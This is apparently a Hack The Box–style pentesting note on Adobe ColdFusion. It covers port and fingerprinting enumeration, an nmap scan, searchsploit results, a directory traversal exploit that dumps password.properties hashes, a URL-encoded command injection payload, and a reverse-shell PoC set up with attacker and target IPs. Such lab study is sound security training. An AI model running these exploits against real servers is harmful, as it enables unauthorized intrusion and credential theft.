ColdFusion

<cfquery name="myQuery" datasource="myDataSource">
  SELECT *
  FROM myTable
</cfquery>
<cfloop query="myQuery">
  <p>#myQuery.firstName# #myQuery.lastName#</p>
</cfloop>

Ports

Port NumberProtocolDescription

80

HTTP

Used for non-secure HTTP communication between the web server and web browser.

443

HTTPS

Used for secure HTTP communication between the web server and web browser. Encrypts the communication between the web server and web browser.

1935

RPC

Used for client-server communication. Remote Procedure Call (RPC) protocol allows a program to request information from another program on a different network device.

25

SMTP

Simple Mail Transfer Protocol (SMTP) is used for sending email messages.

8500

SSL

Used for server communication via Secure Socket Layer (SSL).

5500

Server Monitor

Used for remote administration of the ColdFusion server.

Enumeration

Method

Description

Port Scanning

ColdFusion typically uses port 80 for HTTP and port 443 for HTTPS by default. So, scanning for these ports may indicate the presence of a ColdFusion server. Nmap might be able to identify ColdFusion during a services scan specifically.

File Extensions

ColdFusion pages typically use ".cfm" or ".cfc" file extensions. If you find pages with these file extensions, it could be an indicator that the application is using ColdFusion.

HTTP Headers

Check the HTTP response headers of the web application. ColdFusion typically sets specific headers, such as "Server: ColdFusion" or "X-Powered-By: ColdFusion", that can help identify the technology being used.

Error Messages

If the application uses ColdFusion and there are errors, the error messages may contain references to ColdFusion-specific tags or functions.

Default Files

ColdFusion creates several default files during installation, such as "admin.cfm" or "CFIDE/administrator/index.cfm". Finding these files on the web server may indicate that the web application runs on ColdFusion.

nmap -p- -sC -Pn 10.129.247.30 --open

Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-13 11:45 GMT
Nmap scan report for 10.129.247.30
Host is up (0.028s latency).
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE
135/tcp   open  msrpc
8500/tcp  open  fmtp
49154/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 350.38 seconds

Port 8500 is a default port that ColdFusion uses for SSL. Navigating to the IP:8500 lists 2 directories, CFIDE and cfdocs, in the root, further indicating that ColdFusion is running on port 8500.

Exploit

 searchsploit adobe coldfusion

------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
------------------------------------------------------------------------------------------ ---------------------------------
Adobe ColdFusion - 'probe.cfm' Cross-Site Scripting                                       | cfm/webapps/36067.txt
Adobe ColdFusion - Directory Traversal                                                    | multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal (Metasploit)                                       | multiple/remote/16985.rb
Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)        | windows/remote/50781.txt
Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Executi | windows/remote/43993.py
Adobe ColdFusion 2018 - Arbitrary File Upload                                             | multiple/webapps/45979.txt
Adobe ColdFusion 6/7 - User_Agent Error Page Cross-Site Scripting                         | cfm/webapps/29567.txt
Adobe ColdFusion 7 - Multiple Cross-Site Scripting Vulnerabilities                        | cfm/webapps/36172.txt
Adobe ColdFusion 8 - Remote Command Execution (RCE)                                       | cfm/webapps/50057.py
Adobe ColdFusion 9 - Administrative Authentication Bypass                                 | windows/webapps/27755.txt
Adobe ColdFusion 9 - Administrative Authentication Bypass (Metasploit)                    | multiple/remote/30210.rb
Adobe ColdFusion < 11 Update 10 - XML External Entity Injection                           | multiple/webapps/40346.py
Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasploit)                 | multiple/remote/24946.rb
Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query String Cross-Site Script | cfm/webapps/33170.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizarduser.cfm' Query Strin | cfm/webapps/33167.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' Query String Cross-S | cfm/webapps/33169.txt
Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.cfm?startRow' Cross-Si | cfm/webapps/33168.txt
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

Directory Traversal

Adobe ColdFusion 9.0.1 and earlier versions

http://www.example.com/CFIDE/administrator/settings/mappings.cfm?locale=../../../../../etc/passwd
searchsploit -p 14641

  Exploit: Adobe ColdFusion - Directory Traversal
      URL: https://www.exploit-db.com/exploits/14641
     Path: /usr/share/exploitdb/exploits/multiple/remote/14641.py
File Type: Python script, ASCII text executable

Copied EDB-ID #14641's path to the clipboard
$ cp /usr/share/exploitdb/exploits/multiple/remote/14641.py .
$ python2 14641.py 

usage: 14641.py <host> <port> <file_path>
example: 14641.py localhost 80 ../../../../../../../lib/password.properties
if successful, the file will be printed
python2 14641.py 10.129.204.230 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

------------------------------
trying /CFIDE/wizards/common/_logintowizard.cfm
title from server in /CFIDE/wizards/common/_logintowizard.cfm:
------------------------------
#Wed Mar 22 20:53:51 EET 2017
rdspassword=0IA/F[[E>[$_6& \\Q>[K\=XP  \n
password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03
encrypted=true
------------------------------
...

Unauthenticated RCE 

# Decoded: http://www.example.com/index.cfm?; echo "This server has been compromised!" > C:\compromise.txt

http://www.example.com/index.cfm?%3B%20echo%20%22This%20server%20has%20been%20compromised%21%22%20%3E%20C%3A%5Ccompromise.txt
$ searchsploit -p 50057

  Exploit: Adobe ColdFusion 8 - Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50057
     Path: /usr/share/exploitdb/exploits/cfm/webapps/50057.py
File Type: Python script, ASCII text executable

Copied EDB-ID #500570xss0rz@htb[/htb]$ cp /usr/share/exploitdb/exploits/cfm/webapps/50057.py .

Change the poc

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.14.55' # HTB VPN IP
    lport = 4444 # A port not in use on localhost
    rhost = "10.129.247.30" # Target IP
    rport = 8500 # Target Port
    filename = uuid.uuid4().hex

Metasploit:

Other PoC:

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